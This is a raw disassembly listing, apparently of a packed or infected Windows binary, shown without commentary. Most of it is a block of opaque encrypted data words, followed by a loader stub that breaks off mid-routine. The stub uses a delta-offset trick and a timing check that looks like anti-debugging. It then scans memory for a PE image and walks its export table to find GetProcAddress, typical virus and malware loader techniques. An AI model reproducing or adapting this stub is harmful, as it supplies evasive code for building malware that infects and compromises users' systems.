0BD710B8Ah, 0D850794Fh, 331356E6h dd 94483B79h, 72DC039Ah, 112764D8h, 0C7E4BFB2h, 0F397632Eh dd 0FF6CFE6Dh, 0C870593Eh, 64A9B7B2h, 8E751532h, 0D92D3F5h dd 2FA0BF51h, 77688FA4h, 0DCA9E820h, 0B3784B85h, 0CCB02C23h dd 0F37707BDh, 6FA603Ah, 737997BBh, 1080CB53h, 4104BFC2h dd 81DD0E46h, 0EA5E3E87h, 0CCC25809h, 8B157997h, 8DDA77Ch dd 2E48BD9Fh, 4CB3C21Bh, 9F2CAF7Bh, 0FCB11DF6h, 9A28256Bh dd 0FDA051EBh, 18357371h, 27F8C9E2h, 5632A26Eh, 2A87CFF7h dd 0E4695202h, 0AF9C3CF1h, 0CD025242h, 0E49C788Eh, 1F159312h dd 2096B496h, 4515DD1Ah, 202CE5D6h, 0FEF60024h, 0D9613FA0h dd 0BAFF4F24h, 19672987h, 5BAE933Bh, 517092DCh, 73BCC628h dd 8900E4ACh, 0EE882A0Dh, 0C9414F80h, 0B5DF7F04h, 55FBACEh dd 0F94F617h, 57519582h, 6FD5E75Ah, 0A960509Bh, 9EB768F6h dd 0F93C4C6Ah, 0D86DA3ABh, 0FE44C042h, 0A6A3BC82h, 0E02CF51Ah dd 5985D467h, 0F345F724h, 3E63B7CCh, 0A71956A9h, 98FDF182h dd 4870D9DEh, 26F4B7B2h, 4789536h, 0E2FC73BAh, 0C080513Eh dd 9E042FC2h, 7C880D46h, 5A0CEBCAh, 3890C94Eh, 1614A7D2h dd 0F4988556h, 0D21C63DAh, 0B0A0415Eh, 8E241FE2h, 6CA8FD66h dd 4A2CDBEAh, 28B0B96Eh, 63497F2h, 0E4B87576h, 0C23C53FAh dd 0A0C0317Eh, 7E440F02h, 5CC8ED86h, 9FCFAB0Ah, 18C0EB36h dd 4AF10412h, 0D4D875D4h, 0A61FF415h, 9FF87213h, 6D62B495h dd 68AC5676h, 262E900Eh, 4ACB80DCh, 6D60043Ah, 86D341F4h dd 1AE9BA36h, 90001FCh, 4EC653C7h, 0BF0D26C6h, 0C36E8388h dd 0F8144BAFh, 0F2CBE2DAh, 0D0F045C6h, 0FA9C235Ah, 702001C1h dd 6D285AEFh, 1571BDF6h, 89A0EF72h, 1FD27D2Eh, 8420D28Dh dd 53FB35E6h, 0DD3110A3h, 8340E1DAh, 0C2B43092h, 0F4CBAD89h dd 733A698Eh, 0C873E593h, 0B6EEC492h, 0A6732062h, 0FFCC7199h dd 0B381D50h, 2EDE3CFCh, 3E979952h, 98137841h, 3727B13Eh dd 68DFC84Dh, 0C6C4981Dh, 61A4F3AAh, 0CF43E575h, 0E463747h dd 680D4A46h, 0DA0C7B88h, 5090494Eh, 961427EEh, 360C80DDh dd 0FBF4E3CAh, 0D85F3EA8h, 0E249FFAh, 0AE3CC0E5h, 0BF2C5BFAh dd 0A02DB066h, 6D3407D6h, 0F0350AEAh, 813CC3B8h, 625834F1h dd 6BCD8F12h, 0DCD82F12h, 0BA4C48E2h, 5B191A8Eh, 76D49499h dd 0BC8AE596h, 0CDA33DF7h, 525C349Dh, 38677F32h, 0CCE42725h dd 0AB6BBF25h, 0F27319AEh, 0E27BF722h, 44F8D54Bh, 7270F1B1h dd 0FFFE5956h, 62016CBDh, 0BF085D84h, 92067B8Ch, 0C10F04Eh dd 786D674Bh, 0DF58C6A2h, 13D428ABh, 2FFF605Fh, 372580BDh dd 0AC6471A2h, 0A1F5F71Fh, 92C97A26h, 4603587Dh, 0A55EB5F6h dd 308F6D02h, 0E0EBF4F1h, 3D924F82h, 993D2D3Ch, 91DC4101h dd 5B5A620Ch, 443C9663h, 17A75AE8h, 0E29E3F2Fh, 10E5CC1Eh dd 2AEBC4DAh, 8C681DA2h, 28504E55h, 0A020D93Eh, 0D90B49E7h dd 46C41035h, 677373AAh, 0C0901382h, 0CD202BC1h, 4F8ACDC5h dd 52BAE411h, 0F110DBADh, 32D5F4F2h, 0E8B18172h, 0F6104AFEh dd 594B0105h, 592BE463h, 52DC20DDh, 0F84206Bh, 1EC46200h dd 3D6D6C73h, 0CACC8AD7h, 0E0EAA87Bh, 86B49DCBh, 97D7F483h dd 42BC1EDEh, 0D331308Bh, 0EA45AD6h, 0C9127C93h, 0DAAC84B3h dd 8D6CB89Bh, 9694C0BBh, 2CFC6ADDh, 0A5B3DDB6h, 0D593445Bh dd 1C321AF0h, 198A98DBh, 0AEFA9649h, 0EB946B3Eh, 8FFEE4Bh dd 4EA2D6D7h, 0DB0ABC6h, 0DA6EA952h, 1A128A2Ah, 0D0FECC34h dd 4136AD8Eh, 501FDCA5h, 1AF186D6h, 6F4C8767h, 0ACD74213h dd 1DF9890h, 6D32295Eh, 0C6A4714Bh, 0CE1FDE5Ch, 2164B12h dd 7835F204h, 3F2CDE32h, 0A4B752F3h, 0FACC8B8Bh, 0D524BB8Ah dd 7C2AA743h, 91B3D3FDh, 72DC0322h, 0EF824A9Eh, 0BE713261h dd 27688D1Fh, 29368C7Dh, 0F1F4DCD9h, 0A6F437A2h, 11771D36h dd 691C327Ah, 790254C8h, 6B05AFD2h, 7585EB40h, 2C1F80EFh dd 0A8A9CBCBh, 906125D2h, 51A90830h, 5F7AE731h, 9BC6E45Fh dd 0F1DB230Ah, 0D8EBF699h, 8880CE63h, 6B1B397Eh, 0BFB09205h dd 64B8F566h, 0D733DBFAh, 8A7CB5BEh, 1BB13EAh, 6C5DE479h dd 4C4C5B48h, 88E9AB0Bh, 72210612h, 5633D499h, 0F1F70331h dd 29642469h, 0EE647F32h, 0EB9C55A6h, 9312BEA0h, 683119BEh dd 0ED799139h, 0F453B3F3h, 0A7F619C2h, 10A8C0h, 0DB9F8F83h dd 0BA8129A1h, 0FC4C18E1h, 0C002E265h, 56916836h, 4A9D4F7Dh dd 169CB363h, 0E8C04086h, 4B629CC9h, 0AC381A72h, 3A89F063h dd 0E101212h, 20B43CCAh, 4E215E5Dh, 0B54CB7Eh, 6DBF8E0Ah dd 5E059D86h, 154D4B0Eh, 91676D4Ah, 0F2C0590Dh, 0DE8CDCF8h dd 0EBA756E6h, 0D548061Ah, 5066610Eh, 81973758h, 4F1CCFA2h dd 0A9983154h, 8F0413D0h, 0FF807D4Ch, 80C5FC8h, 0ED88B944h dd 0CFF49BC0h, 55EFD672h, 0CC228AF6h, 0EAC80011h, 885022BBh dd 0D5A84C2Ah, 0CD1C00A1h, 0F21C63CAh, 3610415Eh, 8A201D97h dd 0E656B2EBh, 5A15A74Fh, 0A81BDF6Eh, 141920Eh, 0AB3875C6h dd 2A961305h, 5F3FCE1Ch, 47C08AF5h, 1CC8ED96h, 822ACB0Ah dd 1AA598E8h, 5D32AEA6h, 51D27D26h, 0B24C7A64h, 3AE3C15Eh dd 919BC2CAh, 0BB606D59h, 3A553FAFh, 87099AEh, 56760232h dd 0B85DDF30h, 0C47C2303h, 85FC9115h, 5E34E837h, 7CF78246h dd 0A70168E0h, 0F800B05Eh, 296B6ABAh, 309DB229h, 929C3363h dd 43001DEh, 0E4C46F61h, 15AC3811h, 0AAC9B7Ah, 0EF4471EEh dd 2A3F02CAh, 53779EF6h, 928597FFh, 6040F2FEh, 0CE40C083h dd 0AC48AD06h, 73672162h, 0C812F5B3h, 4818AF92h, 7CE8DAE9h dd 0CF55A830h, 5070A3BEh, 0D11A024Ah, 88ED6AD9h, 0E9EC6B93h dd 0BC70592Eh, 2271C0A8h, 8478050Fh, 16FDF3BAh, 0BEAE3934h dd 85EC503Dh, 4C7772B8h, 51A7C123h, 0A8D2D5CBh, 0BDDBACD2h dd 0D0258C9Eh, 0DB1CF398h, 57183D16h, 0A5126086h, 47CEBD55h dd 0F3A8DE1Dh, 0A8B3397Eh, 954017F2h, 5D3A7080h, 36BCD3EAh dd 0DD6A5974h, 0A5AC70FDh, 64379278h, 9CC52F6Dh, 0FE101A25h dd 0F2D1F0B9h, 57D8F5AFh, 465CC31Ah, 926557C4h, 6E646F1Bh dd 4D0057D3h, 4293C4D7h, 770FE79Ch, 9989F5DAh, 0ACD86549h dd 0DD83482Eh, 0B866A85Dh dd 75E27ABDh, 2983E657h, 9A9C12CEh, 0BAE7DB39h, 5694E751h dd 0E8F0D1A3h, 0A2635CA6h, 0ACE69C1h, 76C2A09Dh, 74E2819h dd 4527B0FBh, 2A947C65h, 8E9FD762h, 0D3C4FD7Fh, 128517FFh dd 0E04072FEh, 49FC3B82h, 8C71A983h, 7ACC0B8Ah, 0AF7C9D08h dd 26ED4317h, 1458A516h, 1AD6F69Bh, 2F9F9CDCh, 5119744Ah dd 8EDEAD9h, 6AECEB93h, 3C74D92Eh, 0DB585FB8h, 65906AC9h dd 15038C47h, 0D0B9D5BBh, 9E042BC2h, 949F7946h, 0A5F3165Ch dd 0C650E0F6h, 1EAC0C1Ah, 5F9CF196h, 39E41662h, 0CF48EA39h dd 79DBE01Fh, 7C9179E3h, 4A2CD3EAh, 0A8C2CC6Eh, 160D154Fh dd 8DCC7576h, 3DC13612h, 0B8E98981h, 0DB4EC62Bh, 5CD8D4F8h dd 304F2FCAh, 8E9D72Bh, 0BDBC2C12h, 64279A6Bh, 37D6E9ABh dd 90F0181Ch, 93581788h, 0FAE72259h, 3A55C5AFh, 0C8F414AEh dd 6B53736h, 0A275E5BEh, 87D8391h, 7D20F9E9h, 62AD10BDh dd 0DEB0ABE2h, 9F7BF2B1h, 0F800B04Ah, 0D6946742h, 0FDA842A2h dd 0E72445F0h, 16C10324h, 0B25837C9h, 0C4984219h, 0A16CA8C0h dd 0AAB8C467h, 43435762h, 0A4280C72h, 82BC135Ah, 8817E68Bh dd 0C13B335Ch, 0AC87265Ch, 0F006A0D2h, 0C869158Bh, 4A9ECE92h dd 6890CDBCh, 0CABAFC65h, 0D597219Fh, 2EF48626h, 0C689D66h dd 2E6C78DEh, 0B4D55306h, 0C0F4278Bh, 8C59C9Dh, 0C9FCE3F8h dd 790454C9h, 1E04AFD2h, 0F5FDCD46h, 5F0E3B7Ah, 0B8807032h dd 1291D078h, 0F498156Fh, 271CE3DAh, 3A187155h, 1E1DE267h dd 0D143D766h, 0D21DE38Ch, 9134BC99h, 873417E2h, 66CCF576h dd 0E736FA4Ah, 20D08803h, 0F4476BC2h, 0CCF11023h, 0DCE72D0Ah dd 6F20A836h, 666D8397h, 54DAE596h, 865EB61Ah, 6D45AB56h dd 88646F1Bh, 6455D40Dh, 126C2B68h, 88F0303Eh, 0E2F10099h dd 4CF8C58Fh, 567CB33Ah, 0FC2079CFh, 5B7390BDh, 0BC187442h dd 9A8C2F4Ah, 0C0A002BBh, 6FEA6258h, 0DFB2C5C6h, 96195417h dd 0F02091E7h, 0BBA45F6Ah, 2F905BF7h, 0F409118Ah, 0E30E9D7h dd 0EC74E4D9h, 9C5EA01Dh, 0A7B68B53h, 0E0504880h, 0B4C7AB42h dd 8C7153A3h, 8D676D8Ah, 48696D8Bh, 36C4C792h, 95E0C316h dd 72DFF75Ah, 756A69DAh, 0AEF406DCh, 3A67B640h, 7AD5792Fh dd 0E798722Eh, 0D10B4849h, 144111B3h, 0E2FC73BAh, 708E257Eh dd 0E2812D92h, 0D6881D7Fh, 0A5F77E22h, 0C6DF44B1h, 54842A5Bh dd 716F8546h, 0D20C5A5Eh, 30A0415Eh, 66941396h, 0D12156CCh dd 4A3C995Eh, 0C958BC85h, 0EECB6809h, 1B478E1Ch, 0FBB8D60Dh dd 0A0C0316Eh, 75310F03h, 0D9C2AD36h, 3A5CF276h, 7EDF4224h dd 0FC9404AAh, 0C4E11933h, 2F7251Ah, 15178B9Fh, 6E74C6A6h dd 4CEADDA6h, 0AF9B945Fh, 8E0A02Ah, 0E6707732h, 4484FC3h dd 9B02B630h, 258A11AEh, 5E94D6C1h, 5A182D07h, 0B10DCDF2h dd 0F0FB897Eh, 539E27E2h, 0B4087CA8h, 1619D4F0h, 702011E7h dd 3BA4D762h, 0AF90DBF6h, 77099182h, 8E3069D7h, 2DB5E7D9h dd 0AE7085FEh, 92856EFFh, 0BFA85BFEh, 0C93B3078h, 0C712983h dd 0EACC8B8Ah, 0AD25D80Eh, 356C21B7h, 0E9FD2FEEh, 14DC13A3h dd 0FAA0D2B5h, 6C74028Bh, 899F9D36h, 0EAFC422Eh, 0C850592Eh dd 0D14528C7h, 3C1E0EDDh, 0C7F6EBB3h, 4090E843h, 14074B02h dd 0ECB1F0E3h, 0F3A70DCAh, 0A8D2D9F3h, 1CD5ADD2h, 64DA95F3h dd 0E2B785DAh, 4C25C306h, 0A4248FDBh, 1352048Eh, 4EA9AC15h dd 0ABB02957h, 0F23517F2h, 0E03D025Ah, 423CC3C3h, 55C4B17Eh dd 7AC17822h, 0DCC87DBFh, 0CF4F4B0Ah, 610EC184h, 3DBCF8EDh dd 0BC271A6Ch, 0CDA3391Ah, 0EF1AE076h, 6AE188DDh, 0CCE84D9Fh dd 0DE643B2Ah, 2239A9A6h, 998EDADAh, 0C07D2249h, 227CA303h dd 741091BEh, 0F483DF68h, 0AC313143h, 806CEA4Ah, 5C1880C3h dd 2A31E552h, 0F418D5EFh, 0D61CA0BEh, 0FC82ADAh, 7E5BA09Bh dd 5BC09787h, 0EC53E493h, 62D00656h, 568DABD7h, 0CC93D3F6h dd 0FD436A9Ch, 0D9C4F409h, 0BEE44F92h, 0D83C2D06h, 0F747CC01h dd 5840AB86h, 775D06B9h, 1E0015EAh, 0E2E5FF1Fh, 6F88CB1Eh dd 591BC05Bh, 9C5199A3h, 2AECFBAAh, 2E7CAD2Eh, 2C37E70Ah dd 1441E9B3h, 84F698BAh, 0CA60AE86h, 8E3D5367h, 94236B46h dd 0A5F3125Ch, 1144CB9h, 1617A7C2h, 0ABEC8456h, 5797AC51h dd 0B0B003FEh, 0C6ADD7C9h, 9B61CE9Ah, 5A155F6Fh, 0A8B0B96Eh dd 8B3AE2F2h, 0F48109F3h, 8234D9FAh, 0D3C3C8FEh, 0B34082FAh dd 5CD8C9C2h, 8A442BCBh, 1E330205h, 36653F74h, 6CBECEF0h dd 0A34C395h, 92E0219Eh, 36CF99C3h, 3921580Dh, 1BD4DD2Ch dd 0B85BFF6Eh, 0CD9CDDF1h, 3307AA4Fh, 0B245B7BFh, 800011BEh dd 0D59E9BC2h, 888D4609h, 318CBB08h, 4580006h, 296D18BAh dd 1EDBF529h, 6D6526B2h, 0E0A58C21h, 0B9A4CF5Bh, 3C113963h dd 0AAC9B6Ah, 0BF360CCEh, 2DECAF59h, 8C6BBEEFh, 5297EB51h dd 22E87C75h, 0ABC5CF92h, 1C58EF8Eh, 0BE47B28Bh, 65D96D2Ah dd 0B6C457FAh, 0D6D4989Dh, 0F7F7038Ah, 5070A396h, 17603A55h dd 0C289D36h, 0E8987BAAh, 0ADB81D9h, 0F1A237B6h, 0C6BCA8B5h dd 6DFCF3AAh, 408108BAh, 1E0947C2h, 0B9C38D46h, 96492598h dd 0FCBE7B7Dh, 69146B9Eh, 64A677C3h, 8A996ADAh, 63A0D11Ch dd 0D18C769h, 0C4DB82BEh, 22181861h, 574FCC77h, 0C48C8279h dd 67E3F566h, 0C7B5DFB8h, 20D0F3A2h, 774CCD01h, 0CC8A8D03h dd 923FC00Ah, 98509A71h, 84BC0712h, 0DF271A62h, 221E7BA7h dd 0F608F79Eh, 659B80D6h, 0DCAAE533h, 0A226B02Ah, 0A3FC53ADh dd 639D74FCh, 45985DB9h, 0A673B33Ah, 90E4h, 9C38DA41h dd 90B4DD6h, 9A9C6932h, 77F83562h, 569445D7h, 305E48D6h dd 50E42671h, 0F62381CEh, 3A07B732h, 11ABC219h, 8ABC59D2h dd 533B8CEEh, 0C5BBDB35h, 2438B4EDh, 97859F91h, 0E0503346h dd 0BFC9CA8Dh, 194B2D06h, 7ADC49F2h, 0A7686868h, 0CA51C8B7h dd 9F58A516h, 0B1F781DAh, 0B688312Ah, 971BC056h, 9C2AA59Bh dd 8E69F4AAh, 4B70D92Eh, 36B60B37h, 7CFD9636h, 69FC63F8h dd 0CCC77A3Eh, 9EC9ADCDh, 3BB30D46h, 9E8FE4C2h, 0BB90C94Eh dd 5117A512h, 8C1D8642h, 801C7398h, 6815BE0Eh, 71240FA0h dd 7C96CFF3h, 8AA981EAh, 28073C61h, 9ADD97F2h, 0D8B87576h dd 56B95C05h, 20C0317Eh, 0FB4B1A3Ch, 5CC8ED0Dh, 114D8D81h dd 0F0809DCDh, 9AB74E7h, 9660D8AFh, 0C529430Ah, 0D25CA49Dh dd 0EB67FF32h, 4CF89FDEh, 68883EA3h, 87B99BEh, 0A4A8F209h dd 0CC8A55A6h, 0E09CB601h, 0E97211AEh, 5E84EF7Fh, 0D43FBFB6h dd 1A8CAB55h, 73ECC743h, 0D5964C93h, 31235594h, 928C61BEh dd 0B4A30DABh, 0C1952072h, 4D3499A2h, 856F8081h, 0F872E16Bh dd 733F3772h, 0A428778Eh, 7D488092h, 60E99001h, 4B44CF82h dd 100F8608h, 0BDF782F8h, 0E4D26606h, 0FF2BB86Dh, 6AEAA019h dd 4E57FC65h, 0D4C7603Ah, 0D1E4BF8Bh, 0E78762D9h, 0CEA6FAE8h dd 2870594Eh, 2D3404FCh, 1FF313Ah, 62ECB17Eh, 24054B7h dd 0A789AFD2h, 0FC88A4CEh, 9874EEC9h, 1DF6495Eh, 503F6977h dd 5F8C4755h, 14DAEF98h, 0B16729A5h, 0E249FB1h, 0ECA87D63h dd 95D01D63h, 57E7FA30h, 960A6967h, 7B503476h, 432656F5h dd 7490B17Eh, 12EA768h, 0E216F879h, 7AC94B1Ah, 9D5826D1h dd 9E540713h, 0AB27011Ah, 325CD2F2h, 6485F29Eh, 8B081664h dd 0B98B38F5h, 0D3185258h, 3D0F19EFh, 6664B57Eh, 7ACA4049h dd 0A7F5B32Ah, 10D3EAh dd 0DE8476AAh, 0E86D1EC6h, 0D5E9402Bh, 0A7567B9h, 26FD8F21h dd 4271B786h, 75F9CF33h, 187781BBh, 315BB73Fh, 0AC282E0Eh dd 0D8C9486Ah, 7448A8Bh, 34E4B200h, 4851C39Fh, 2D9F41Fh dd 87F99A9h, 0AC2CB07Dh, 0CF482D06h, 19AD49EFh, 8209C65h dd 5FA2AEE0h, 713FC07Ah, 0D034D49Ah, 389F9EF6h, 0AEE43FBAh dd 0E42B7875h, 0F8B95CBh, 2104B660h, 54A4CED4h, 6811E35Fh dd 0E29914DFh, 277FB969h, 0CA54D03Dh, 411888CBh, 3E66EBDAh dd 6F91A31Eh, 28FE322Dh, 0C8118546h, 0F4899CFEh, 9AA05160h dd 0C6999222h, 3CA8ED27h, 0FFD38BBAh, 28A084FEh, 234969Ah dd 0E5D22176h, 96A9ACADh, 0F4C0213Ch, 81130B68h, 4C8AB913h dd 2E88480Ah, 5A9C1C71h, 63AB8702h, 0D4C85BF4h, 7D18045h dd 90F060D6h, 8F10074h, 0CFE8CD98h, 0AE6344D2h, 8F09915h dd 0A42CF2BBh, 0C49255A6h, 0E9CC6Ch, 5000180h, 0FA00E082h dd 1708CDC6h, 70DCFB8Ah, 0F97AD9CDh, 0D694673Ah, 21E71316h dd 928C1D18h, 7FDFF95Dh, 4EA2D8E6h, 70AD34E6h, 87AC8B28h dd 0F8721963h, 0AE21DA72h, 0F53825B4h, 0D2BC7928h, 5E2E6401h dd 0C647CF92h, 0C9CCA2F9h, 90CC8B8Fh, 84E5960Eh, 49D457D0h dd 84664F83h, 8D24809Ah, 55DE6511h, 0AB6DBFA2h, 0C78DF56h dd 29EFB299h, 0A221097Fh, 130B66B6h, 8468576Ah, 5CBA6645h dd 8005D12Eh, 1B9E2BCDh, 35BB8D46h, 9878EE43h, 0E9C1495Eh dd 960B4F83h, 8BC80559h, 42226D4Fh, 3F60445Eh, 0E21CC66h dd 942DF466h, 92C4BA8h, 0A8C2D2D6h, 0BE7F9CF2h, 5D3C7081h dd 423CD3EAh, 26B5917Eh, 0EE2C0A01h, 0EFB6D96h, 4BBB8A09h dd 1D59C879h, 76444596h, 54F16A2Eh, 0E17481Ah, 88249Dh dd 3C577F32h, 3D1F9CA5h, 2FE5DADDh, 88E05BD2h, 2DC3F8F1h dd 711B2CB0h, 2D64E0B7h, 314D209h, 1FEF2692h, 3DD84EEEh dd 0F3FB7470h, 6564F0A0h, 57989DD1h, 7F9325A4h, 6DE2866h dd 7D30C3DDh, 395B1726h, 97E91E3Fh, 9AEE6BEFh, 3CBB3AEEh dd 8687C756h, 24803779h, 897F937Ah, 6D4B9A31h, 0AE85073Fh dd 43C3D106h, 4660C2B9h, 64569B6Fh, 1AD6B0E8h, 48640F36h dd 0DCE06FEEh, 0D05CBC6Ah, 6707D7D7h, 0C9551CADh, 1EECBEF2h dd 0B23E425h, 0A3FBB7E0h, 0FB876A05h, 0B5C17031h, 0CFC31F77h dd 61FB0946h, 3FDF30B9h, 0DE03A59Fh, 0C76F3655h, 2557F0EFh dd 0E41C8A64h, 0EFE39C25h, 0FFF4120Eh, 71219BEDh, 0B79B0299h dd 0B5D2F602h, 0C0A0CC91h, 0F9CB6B08h, 1B46549Eh, 2EB85C05h dd 933FCE80h, 7E52E7D0h, 3F20ED86h, 0D2B334F5h, 18D0A98Eh dd 0E5B9064Fh, 3DD875A2h, 0B25C40E0h, 1BD2DEFAh, 7E268797h dd 6E61B9A6h, 67523A4Ch, 0EB7596F4h, 6D747731h, 1AFB69E8h dd 0F247B25Ch, 53851EFBh, 0A984EF41h, 1C08DB85h, 9F83AB4Ah dd 0F8108A08h, 0D4C824A4h, 0B7A4C1D9h, 0D117235Ah, 0D0803CD6h dd 0CAAB7FC2h, 2C28BE48h, 2A8CBB57h, 4BB476CEh, 4DB45771h dd 0A438FD7Dh, 0D3AAF07Ah, 9FAF7916h, 8249CC7Dh, 1F48BD44h dd 0BAAD0844h, 9C31EA0Eh, 484FAF92h, 1657DAE9h, 72DC00E0h dd 12A0449Dh, 0A5E4BFB2h, 46E39564h, 992D50BAh, 23B06A2Ah dd 2F3C34B7h, 1F1057Ch, 62ECB13Ah, 0F88C9B3Dh, 1E05AFC2h dd 1A366517h, 4F3C9435h, 0B88070CCh, 23240763h, 74883CD5h dd 9BE2C3B0h, 0D8B4B906h, 0F1DB7946h, 78A7AFE3h, 0FBCE8828h dd 0B889BDFBh, 71D1FCF2h, 748171F3h, 423CD3FAh, 0D7E2C57Fh dd 0EE7D0B87h, 0DCC86E86h, 3B403E0Ah, 88E9AD2Bh, 89ABF812h dd 0D5D20E6Dh, 22654797h, 10E0A19Eh, 0EE62172Ah, 0A4B15DA6h dd 0AA6C3B2Ch, 6EA6F1F6h, 0E3FE08CDh, 44E8ECCAh, 5E5637BCh dd 88008187h, 0CEBD13C7h, 4BE8AFC6h, 8AB5AFCFh, 781001CEh dd 0D69D9252h, 2421BB6Bh, 0D7E8A25Ah, 0C9A40429h, 0CEA45F72h dd 0B75C35E6h, 0B3D0A6EAh, 1C35F9FEh, 3B0957C2h, 2138A5CFh dd 0BF3C340Eh, 0E0504880h, 495A3B87h, 8C71A983h, 7ACC0B8Ah dd 0D8599D1Eh, 26EDBB2Fh, 9D2FA716h, 0B0182619h, 3860610Eh dd 511BCD04h, 73955ECEh, 689D1355h, 0D5FBD92Eh, 26E4F5CEh dd 46F80835h, 0B91473AAh, 0CF7FAEC2h, 9E067E46h, 43D8646h dd 0D10CFB88h, 0E693F510h, 0E9E9FB3Ah, 0CF1A8AA9h, 531C63D8h dd 0B0C06514h, 70AFFFE2h, 16ABAB34h, 5A56D8FEh, 11343C99h dd 63497E2h, 0F0CD5576h, 80F4EE73h, 154D316Eh, 7E543692h dd 4CA0600Dh, 9EBFCB1Ah, 12B410D9h, 43D98712h, 0D4C87596h dd 0B2EDE6E9h, 3413237Dh, 57E07AD5h, 4CE8DDB6h, 0AE639B2Ah dd 8F09900h, 0E5C04CDh, 3B07B867h, 0E0C4A6B1h, 528511AEh dd 5E1C6B4Dh, 8983CDC6h, 1A9CE932h, 7900C345h, 0D6F44318h dd 0FE33A5D6h, 0A19E5052h, 64520217h, 5ECC5259h, 0A1A3BDF6h dd 0ABC8B02h, 0D4BB2F9Ch, 0AE11D456h, 0A43825E6h, 82D4B4F9h dd 0EB40F1FEh, 74C5C7F8h, 9BBFAE0Eh, 7649007Dh, 2F50794Ch dd 0A6EDC317h, 94586516h, 85DE779Ah, 5C12E206h, 9B6D8F8Bh dd 0C78DFE2h, 0EBC40821h, 4CF5AE1Eh, 0E6F4278Bh, 0F0781536h dd 33E404B8h, 0BF7CFAD6h, 12EFF63Dh, 0D7A0FE45h, 8C5D67B8h dd 0E1CFEDBDh, 0AF84925Fh, 0C9110546h, 520CA112h, 6EFF65ADh dd 83B6AEEDh, 0ECA942E1h, 48B961EAh, 0DDB02957h, 0FEE67EF4h dd 2AAC120h, 0AAD58373h, 0DF3F6B59h, 0F20E0458h, 2BD82785h dd 0AA75CF8Fh, 98D0298Eh, 73158A32h, 0D951F6E3h, 324C81DEh dd 88249Dh, 49E77F32h, 0CCE85DCEh, 822F102Ah, 88A39E27h dd 0E383F732h, 44E8EAF6h, 227CB33Bh, 43C796CAh, 7E24CF4Ah dd 388DBA66h, 9A8C3B73h, 0C0009CEh, 0D7CB555h, 6EE73A21h dd 50582ED1h, 0F5C381CEh, 258C14EBh, 6CA5B6EBh, 69AC0B28h dd 0E33312ECh, 0C343FF39h, 24288C72h, 2BC9379h, 65CB658Ah dd 0BED40D4Ah, 0DEF8A005h, 0FFCF0B9Ah, 5840ABA2h, 7C5FCF93h dd 68DD2E06h, 0CBDC93D8h, 0D3136954h, 0AFEC752Bh, 0EFEB0D64h dd 0EF67FBF2h, 48609BAAh, 26DD27DAh, 0C3A9436h, 0B2BF72E3h dd 0F902C4B4h, 1BF32FD2h, 7C9834C2h, 7A0CEBCAh, 0B593CF3Ah dd 1604B7BAh, 716F85E0h, 0D20C5A5Eh, 0B0A2415Eh, 48DA0B97h dd 552C7891h, 4A2CDBFAh, 2EC5B96Ah, 3FB72278h, 614F7566h dd 0C22C6A7Eh, 0A0C0717Eh, 79CE0477h, 5E622F84h, 0D1BB29DCh dd 2AD72387h, 20562DD0h, 6EB9274h, 0D67EC87Eh, 13B82311h dd 7E26A39Fh, 0C8E7DDA6h, 0D5934195h, 4A882C51h, 738B7722h dd 0C4E86B04h, 0E00886C5h, 15FF11AEh, 5E94D164h, 7E68404Bh dd 8F01AB5Ah, 0F800CBA6h, 0D6FE3503h, 0F644F029h, 763234Ah dd 70303F78h, 0CF86A9Dh, 0B9D7BDF6h, 0ABCA54Ch, 0A978CC63h dd 734B5762h, 0A42877AEh, 2029EC2Ch, 0E340E1C0h, 2E869327h dd 0F48BAD06h, 0FACC8B8Ah, 59510353h, 0A6ECC87Fh, 9BA87D16h dd 675C865Bh, 90E5E10Eh, 0D12C3C61h, 89A992D6h, 0EAFC6E2Ah dd 0C86064EDh, 0BA813798h, 0A0049450h, 178D9FB6h, 8468B12Dh dd 6BFB503Dh, 63D6543h, 8E49435h, 0D96FB6B1h, 0EE39D8FCh dd 0CC8A3100h, 521CE3FFh, 0CF05293Eh, 3751601Dh, 0DC8C39EDh dd 8B64EE67h, 0F83B397Eh, 0BCB571FAh, 41CBF770h, 423CBBACh dd 0E44BB181h, 0AE168F68h, 0E23AF879h, 7ECF4B1Ah, 0C4EEA886h dd 308382Dh, 501E6695h, 0CDA6A1F2h, 0EF9F4961h, 2D0580DDh dd 0CCE8291Eh, 12DDD02Ah, 88F01981h, 6674EADAh, 44D817B6h dd 227C8382h, 1079BEh dd 0FA466F42h, 0BD8DF5C6h, 99642B4Ah, 0BA1009CEh, 219E77Eh dd 1AD5C9F2h, 6E9C5BD9h, 0F0C8E1C7h, 45A45F62h, 0F11819B2h dd 672D01E1h, 6820C088h, 0B954309Ah, 20FAD409h, 1BE947Ah dd 464174F8h, 8FAD0F50h, 9415FFC8h, 8B010011h, 0FFh, 24Eh dup(0) dd 12FFE000h, 130Eh dup(0) ; --------------------------------------------------------------------------- loc_3143A000: ; DATA XREF: UPX2:3143D2CCo call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_3143A04C pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_3143A041 mov ebx, [eax+2985h] jmp short loc_3143A04A ; --------------------------------------------------------------------------- loc_3143A041: ; CODE XREF: UPX2:3143A037j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_3143A04A: ; CODE XREF: UPX2:3143A03Fj mov ebx, [ebx] loc_3143A04C: ; CODE XREF: UPX2:3143A01Fj push ebp mov ebp, eax sub dword ptr [esp+4], 8005h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0E7h rep movsb call sub_3143A125 mov ecx, eax call sub_3143A125 sub eax, ecx jz short loc_3143A0F7 cmp eax, 100h ja short loc_3143A0F7 and ebx, 0FFFFF000h loc_3143A08B: ; CODE XREF: UPX2:3143A09Aj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3143A09C loc_3143A094: ; CODE XREF: UPX2:3143A0A9j sub ebx, 100h jnz short loc_3143A08B loc_3143A09C: ; CODE XREF: UPX2:3143A092j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3143A094 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3143A0B6: ; CODE XREF: UPX2:loc_3143A0CAj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3143A0CA cmp dword ptr [eax+5], 6441636Fh jz short loc_3143A0CF loc_3143A0CA: ; CODE XREF: UPX2:3143A0BFj loop loc_3143A0B6 pop ecx jmp short loc_3143A0F7 ; 